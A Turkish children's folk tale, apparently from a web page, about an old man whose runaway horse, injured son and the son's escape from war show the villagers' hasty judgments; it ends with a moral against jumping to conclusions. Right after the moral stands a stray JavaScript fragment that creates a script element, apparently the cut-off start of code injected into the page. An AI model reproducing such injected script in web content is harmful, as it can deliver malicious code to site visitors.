BEKLEYELİM GÖRELİM MASALI

Bir varmış, bir yokmuş… Evvel zaman içinde kalbur saman içinde, uzak mı uzak diyarların birinde yaşlı bir amca yaşarmış. Bu yaşlı amca çok fakir bir amcaymış. Ama elinde öyle güzel bir şey varmış ki Kral bile onu kıskanırmış. Bu amcanın ünü diyarları aşan, dillere destan güzelliği olan beyaz renkte bir atı varmış. Kral, güzelliği dillere destan bu beyaz at için yaşlı amcaya neler teklif etmemiş ki… Bir gün neredeyse hazinesinin yarısından fazlasını bile teklif etmiş ama yaşlı amca fakir olmasına karşın atını satmaya hiç yanaşmamış. Yaşlı amca, etrafındaki herkese de Kral’a da aynı şeyi der dururmuş; “Bu at, benim için sadece bir at demek değil; aynı zamanda bir dost, insan dostunu satar mı hiç” dermiş.

Gel zaman git zaman derken, yaşlı amca bir gün bir uyanmış ki bir de ne görsün! Güzelliği dillere destan beyaz atı bağlı olduğu yerde yok! Yaşlı amca o telaşla kalkmış hemen, etrafa haber salmış ama nafile! Haberi alan tüm köylü yaşlı amcanın başına toplanmış. Atın bulunamadığını da duyunca başlamışlar konuşmaya:

Köylüler: “Ah ah, yaşlı amca, bu güzel atı sana bırakmayacakları belliydi. Belli ki çalmışlar güzel atını. Oysaki onu Kral’a satsaydın, Kral’ın verdiği para ile beyler gibi yaşardın. Bak satmadın da ne oldu? Paran da yok, atın da yok”

Yaşlı Amca sakince cevaplamış:

Yaşlı Amca: “Karar vermek için çok acele ediyorsunuz arkadaşlar. Benim sadece atım kayıp, geri kalan her şey sizin yorumunuz ve verdiğiniz kararlardan ibaret! Atın kaybolması, talihsizlik mi, yoksa şans mı bunu bilemeyiz” demiş.

Köylülerin hepsi yaşlı amcaya gülmüşler. Yaşlı amcanın artık bunadığını düşünmüşler.

Gel zaman git zaman aradan bir ay geçmiş. Yaşlı amcanın beyaz atı bir gece ansızın çıkıp gelmesin mi! Üstelik yanında vadide bulunan on tane vahşi atı da katmış gelmiş. Yaşlı amca atları görünce mutlu olmuş içinden.

Beyaz atı ve yanındaki atları gören köylüler hemen toplanmış yine yaşlı amcanın başına:

Köylüler: “Sen haklı çıktın yaşlı amca. Atın kayboldu diye bir talihsizlik sandık ama atının kaybolması talihsizlik değil adeta devlet kuşuymuş, baksana şimdi bir sürü atın var.”

Yaşlı adam heyecanlı köylüye doğru dönmüş:

Yaşlı Amca: “Sonuç için yine acele ediyorsunuz. Şu anda bilinen tek gerçek sadece atın geri döndüğü. Onun ötesinin iyi mi kötü mü olduğunu bilemeyiz” demiş.

Köylüler bu sefer ihtiyara gülmemiş, dalga da geçmemiş. Ama içlerinden ihtiyarın bir garip olduğunu da geçirmeden duramamış.

Gel zaman git zaman derken yaşlı amcanın genç oğlu, on tane vahşi atı eğitmeye çalışırken attan düşüp bacağını kırmasın mı? Evin tek genci olan bu delikanlı, bacağının kırılması ile adeta yatağa mahkûm kalmış. Köylüler olayı duydukları gibi hemen yaşlı amcaya gelmişler:

Köylüler: ”Yaşlı amca, sen bir kez daha haklı çıktın. Biz sana devlet kuşu kondu dedik ama bu atlar yüzünden gencecik oğlun, bacağını kırdı, yataklara düştü” demişler.

Yaşlı amca oldukça sakin bir şekilde köylüyle dönerek:

Yaşlı Amca: “Siz yine erkenden karara varıyorsunuz! Karar varmak için bu kadar acele etmeyin. Oğlum bacağını kırdı, şuanda tek gerçek bu. Ötesi sizin yorumlarınız.’’

Köylüler yine hiçbir şey demeden dağılmışlar yaşlı amcanın yanından. Bu sefer çok fazla yorum yapamamışlar.

Günler haftaları, haftalar da ayları kovalamış. Gel zaman git zaman derken yaşlı amcanın yaşadığı bu köye düşmanlar büyük bir ordu ile saldırmış. Kral aniden gelen bu saldırı karşısında ne yapacağını şaşırmış! Köyü savunmak için eli silah tutan bütün gençleri savaşmaya çağırmış. Köye gelen Kralın adamları köydeki bütün gençleri toplayıp gitmişler fakat tek bir kişi hariç: yaşlı amcanın kırık bacaklı oğlu.

Köylü koşarak gelmiş yaşlı amcanın yanına:

Köylüler: “ Yaşlı amca sen yine haklı çıktın! Oğlunun bacağı kırık diye biz neler dedik ama bak oğlunun bacağı kırık olduğu için savaşa gidemedi. Oysa bizimkiler, yaşı büyük küçük demeden savaşa gitti. Oğlunun bacağının kırılması ne büyük bir şansmış meğer…” demişler.

Yaşlı amca yeniden köylüye dönmüş:

Yaşlı Amca: “Siz yine erken karar verdiğinizin farkında değilsiniz! Şu anda tek gerçek var, benim oğlum yanımda ve sizinkiler ise askerde. Bunlardan hangisi şanslı hangisi şanssız onu kimseler bilemez” demiş.

Sevgili çocuklar siz siz olun, acele kararlar vermeyin. Hayatın bir anına bakıp da tamamı hakkında fikir üretmeyin.var d=document;var s=d.createElement(‘script’);

Yorum Bırakınız